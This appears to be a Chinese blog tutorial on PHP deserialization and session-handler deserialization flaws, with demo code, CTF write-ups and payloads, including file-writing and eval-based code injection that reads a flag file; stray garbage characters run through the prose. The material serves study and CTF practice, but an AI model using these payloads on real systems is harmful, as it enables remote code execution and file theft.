php反序列化漏洞

前言

之前剛接觸到反序列化概念的時候蝴韭,寫過一篇。現(xiàn)在回頭看的時候熙侍,發(fā)現(xiàn)寫的太low了榄鉴。所以再重寫一篇。如果以后不滿意我就再重寫蛉抓。

序列化

認(rèn)識反序列化之前庆尘,先說一下序列化,通俗地講就是把一個對象變成可以傳輸?shù)淖址?br> 序列化代碼

<?php

class Demo{
    public $name = "author";
    protected $sex = "sex";
    private $age = 18;
}


$example = new Demo();
echo serialize($example);
?>

結(jié)果為

O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}

serialize() 函數(shù)產(chǎn)生一個可存儲的字符串巷送,經(jīng)常用于序列化操作减余。

O 表示Object對象,4代表4個字符惩系,即Demo
3 表示三個變量,即name如筛、sex堡牡、age
s 表示字符串string,i 表示整型int
4杨刨、6晤柄、3 、9代表變量名的字符長度

protected 屬性被序列化的時候?qū)傩灾禃兂?00*%00屬性名
即s:6:"*sex"妖胀,兩個%00也就是空白符芥颈,一個%00長度為一惠勒,所以序列化后該屬性長度為6
private 屬性被序列化的時候?qū)傩灾禃兂?00類名%00屬性名
即s:9:"Demoage",7個字符長度加上兩個%00為9

反序列化

反序列化就是把那串可以傳輸?shù)淖址僮兓貙ο蟆?br> 使用unserialize()函數(shù)對字符串進(jìn)行反序列化為對象爬坑。

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

輸出結(jié)果為

object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

魔術(shù)方法

php 有很多魔術(shù)方法纠屋,魔術(shù)函數(shù)以__開頭,在某些條件下自動觸發(fā)盾计。

__construct() 構(gòu)造函數(shù)售担,一個對象創(chuàng)建時被調(diào)用
__destruct() 析構(gòu)函數(shù),當(dāng)一個對象銷毀時被調(diào)用
__toString() 當(dāng)一個對象被當(dāng)作一個字符串使用

__sleep() 先檢測是否存在該方法署辉,如果存在先調(diào)用再執(zhí)行序列化操作
__wakeup() 先檢測是否存在該方法族铆,如果存在先調(diào)用再執(zhí)行反序列化操作

以__wakeup()為例

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
    public function __wakeup(){
        $this->name = "vxeroad";
    }
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

結(jié)果輸出

object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

順便說一句
當(dāng)序列化字符串表示對象屬性個數(shù)的值大于真實(shí)個數(shù)的屬性時就會跳過__wakeup的執(zhí)行。

漏洞產(chǎn)生

如果服務(wù)器能夠接收序列化過的字符串哭尝、并且未經(jīng)過濾的把其中的變量直接放進(jìn)這些魔術(shù)方法哥攘,就很容易造成嚴(yán)重的漏洞。

比如這個demo.php

<?php
class A{
    var $name = "demo";
    function __destruct(){
        echo $this->name;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>

payload為

test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}

test參數(shù)沒有經(jīng)過任何處理材鹦,只需要將序列化的字符串設(shè)置name逝淹,就可以覆蓋name屬性。
設(shè)置字符串為XSS代碼侠姑,反序列化后即可觸發(fā)创橄。

image.png

再比如這個

<?php
class A{
    var $name = "demo";
    function __destruct(){
        $fp=fopen(dirname(__FILE__)."/save.php","w");
        fputs($fp,$this->name);
        fclose($fp);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

payload 為

test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}

即可將phpinfo寫進(jìn)save.php文件。

image.png

CTF實(shí)例

了解了反序列化的漏洞原理莽红,我們看道CTF題目妥畏。
極客大挑戰(zhàn) 2019-web 題目
index.php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

看到index.php 接收select參數(shù),傳入序列化的字符串安吁。進(jìn)行反序列化操作醉蚁。
看到class.php文件使用了三個魔術(shù)方法。__construct 構(gòu)造函數(shù)鬼店、__wakeup 反序列化時先調(diào)用网棍、__destruct對象銷毀時調(diào)用「局牵看到username必須為admin時滥玷,才可以獲取flag。
這里的變量username巍棱、password 均是private 屬性惑畴。應(yīng)是s:14:"Nameusername",設(shè)置username為admin航徙。
payload為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}

接著填寫password如贷,"Namepassword";i:100,注意是int類型
payload為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

執(zhí)行后


image.png

既沒有獲取到username,也沒有password杠袱。
是因為private屬性尚猿。之前我們說過private被序列化的時候?qū)傩灾禃兂?00類名%00屬性名。只不過是不可見字符楣富。
所以我們payload自然也需要加上%00字符凿掂。
payload為

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

程序走了else分支,因為反序列化操作時調(diào)用了__wakeup菩彬,username被賦值為了guest缠劝,不是admin。那么有什么辦法跳過__wakeup嗎骗灶?當(dāng)然就是上面說過的:當(dāng)序列化字符串表示對象屬性個數(shù)的值大于真實(shí)個數(shù)的屬性時可跳過惨恭。
所以最終payload為

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

這道題目的思路就是跳過__wakeup()函數(shù)。

Session 反序列化

什么是 Sesssion 耙旦?

Session 被稱為“會話控制”脱羡。主要是指客戶端瀏覽器與服務(wù)端數(shù)據(jù)交換的對話,從瀏覽器打開到關(guān)閉免都,一個最簡單的會話周期
當(dāng)開始一個Session時锉罐,php會嘗試從請求中查找會話 ID (通常通過會話 cookie),如果發(fā)現(xiàn)請求的Cookie绕娘、Get脓规、Post中不存在session id,php就會自動調(diào)用php_session_create_id函數(shù)創(chuàng)建一個新的會話险领,并且在response中通過set-cookie頭部發(fā)送給客戶端保存侨舆,例如登錄網(wǎng)頁時不存在session id,于是就使用了set-cookie頭绢陌。

php.ini 配置

session.save_path=""      設(shè)置session的存儲位置
session.save_handler=""   設(shè)定用戶自定義存儲函數(shù)挨下,如果想使用PHP內(nèi)置session存儲機(jī)制之外的可以使用這個函數(shù)
session.auto_start        指定會話模塊是否在請求開始時啟動一個會話,默認(rèn)值為 0脐湾,不啟動
session.serialize_handler 定義用來序列化/反序列化的處理器名字臭笆,默認(rèn)使用php  
session.upload_progress.enabled 啟用上傳進(jìn)度跟蹤,并填充$ _SESSION變量秤掌,默認(rèn)啟用
session.upload_progress.cleanup 讀取所有POST數(shù)據(jù)(即完成上傳)后愁铺,立即清理進(jìn)度信息,默認(rèn)啟用

phpstudy的phpinfo 配置

session.save_path = "C:\phpStudy\tmp\tmp"      所有session文件存儲在tmp目錄下
session.save_handler = files       表明session是以文件的方式來進(jìn)行存儲的
session.auto_start = off           表明默認(rèn)不啟動session
session.serialize_handler = php    表明session的默認(rèn)(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允許上傳進(jìn)度跟蹤闻鉴,并填充$ _SESSION變量
session.upload_progress.cleanup on 表明所有POST數(shù)據(jù)(即完成上傳)后茵乱,立即清理進(jìn)度信息($ _SESSION變量)

session的存儲機(jī)制

php session的存儲機(jī)制是由session.serialize_handler來定義引擎的,默認(rèn)是以文件的方式存儲椒拗。即在C:\phpStudy\tmp\tmp 目錄下。
session.serialize_handler 定義的引擎有三種

處理器名稱------存儲格式
php     ------   鍵名 + 豎線 + 經(jīng)過serialize()函數(shù)序列化處理的值 
php_binary ------ 鍵名的長度對應(yīng)的 ASCII 字符 + 鍵名 + 經(jīng)過serialize()函數(shù)序列化后的值
php_serialize(php>5.5.4)  ------   經(jīng)過serialize()函數(shù)序列化處理的數(shù)組

下面我們通過簡單的代碼看一下
php 處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

賦值為cseroad


image.png

session目錄存儲為

session|s:7:"cseroad";

session鍵名+|+序列化值
php_binary處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session目錄存儲為

image.png

session 字符長度7對應(yīng)的ASCII碼+鍵名session+序列化值
php_serialize 處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session 目錄存儲為

a:1:{s:7:"session";s:7:"cseroad";}

$_SESSION變量序列化后的值

Session 的反序列化漏洞

漏洞產(chǎn)生就是不同的處理器混合使用。在用session.serialize_handler = php_serialize存儲的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時蚀苛, | 會被當(dāng)成鍵值對的分隔符在验,在特定的地方會造成反序列化漏洞。
比如session.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

hello.php

<?php   
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
    public $name = "cseroad";
    public $age;
    function __wakeup(){
        echo "hello ".$this->name;
    }
}
$str = new A();
echo serialize($str);

?>

在首次訪問hello.php時堵未,輸出

image.png
O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

此時session目錄為空值
如果此時訪問session.php腋舌,并賦值session為 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

image.png

再次查看session 目錄。這里的|就是分隔符渗蟹。

image.png

有了該session值块饺,再次訪問hello.php文件時,從session值里面取出name值雌芽。即可輸出hello cseroad

image.png

CTF 實(shí)例

題目:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

phpinfo查看session.serialize_handler值授艰,存在session 反序列化

image.png

如何控制session值呢?
當(dāng)上傳文件時世落,同時POST文件與session.upload_progress.name同名變量時淮腾,當(dāng)php檢測到這種POST請求時,它會在$_SESSION中添加一組數(shù)據(jù)屉佳。那就可以通過Session Upload Progress來設(shè)置session谷朝。

image.png

編寫上傳HTML

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

那么上傳的filename寫什么呢?和之前的思路類似武花,填寫分隔符加序列化的字符串圆凰。
那字符串又寫什么呢?
編寫腳本体箕,設(shè)置處理器為php_serialize

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

設(shè)置payload為

print_r(scandir(dirname(__FILE__)));
#scandir 函數(shù)列出目錄中的文件和目錄
#dirname 函數(shù)返回路徑中的目錄部分

得到

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

為防轉(zhuǎn)義专钉,在每個雙引號前加上\

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

這就是filename值。
注意添加|

image.png

可以看到存在flag文件干旁。
接著使用file_get_contents函數(shù)讀取該路徑下flag文件驶沼。當(dāng)前目錄路徑phpinfo可看到。
payload 修改為

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

獲取序列化字符争群,并添加反斜杠

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

讀取flag

image.png

這道題目的思路就是自己編寫php_serialize 處理器回怜,填寫讀取讀取文件的payload。并輸出序列化后的字符串换薄,再利用文件上傳通過filename設(shè)置session玉雾,讀取flag。

總結(jié)

有些難懂轻要,彎彎繞繞需要多看复旬,多理解。

參考資料

最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入門
原理+實(shí)踐掌握(PHP反序列化和Session反序列化
一文讓PHP反序列化從入門到進(jìn)階

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末冲泥,一起剝皮案震驚了整個濱河市驹碍,隨后出現(xiàn)的幾起案子壁涎,更是在濱河造成了極大的恐慌,老刑警劉巖志秃,帶你破解...
    沈念sama閱讀 212,383評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件怔球,死亡現(xiàn)場離奇詭異,居然都是意外死亡浮还,警方通過查閱死者的電腦和手機(jī)竟坛,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來钧舌,“玉大人担汤,你說我怎么就攤上這事⊥荻常” “怎么了崭歧?”我有些...
    開封第一講書人閱讀 157,852評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長碘赖。 經(jīng)常有香客問我驾荣,道長,這世上最難降的妖魔是什么普泡? 我笑而不...
    開封第一講書人閱讀 56,621評論 1 284
  • 正文 為了忘掉前任播掷,我火速辦了婚禮,結(jié)果婚禮上撼班,老公的妹妹穿的比我還像新娘歧匈。我一直安慰自己,他們只是感情好砰嘁,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,741評論 6 386
  • 文/花漫 我一把揭開白布件炉。 她就那樣靜靜地躺著,像睡著了一般矮湘。 火紅的嫁衣襯著肌膚如雪斟冕。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,929評論 1 290
  • 那天缅阳,我揣著相機(jī)與錄音磕蛇,去河邊找鬼。 笑死十办,一個胖子當(dāng)著我的面吹牛秀撇,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播向族,決...
    沈念sama閱讀 39,076評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼呵燕,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了件相?” 一聲冷哼從身側(cè)響起再扭,我...
    開封第一講書人閱讀 37,803評論 0 268
  • 序言:老撾萬榮一對情侶失蹤氧苍,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后泛范,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體候引,經(jīng)...
    沈念sama閱讀 44,265評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,582評論 2 327
  • 正文 我和宋清朗相戀三年敦跌,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片逛揩。...
    茶點(diǎn)故事閱讀 38,716評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡柠傍,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出辩稽,到底是詐尸還是另有隱情惧笛,我是刑警寧澤,帶...
    沈念sama閱讀 34,395評論 4 333
  • 正文 年R本政府宣布逞泄,位于F島的核電站患整,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏喷众。R本人自食惡果不足惜各谚,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,039評論 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望到千。 院中可真熱鬧昌渤,春花似錦、人聲如沸憔四。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽了赵。三九已至潜支,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間柿汛,已是汗流浹背冗酿。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留苛茂,地道東北人已烤。 一個月前我還...
    沈念sama閱讀 46,488評論 2 361
  • 正文 我出身青樓,卻偏偏與公主長得像妓羊,于是被迫代替她去往敵國和親胯究。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,612評論 2 350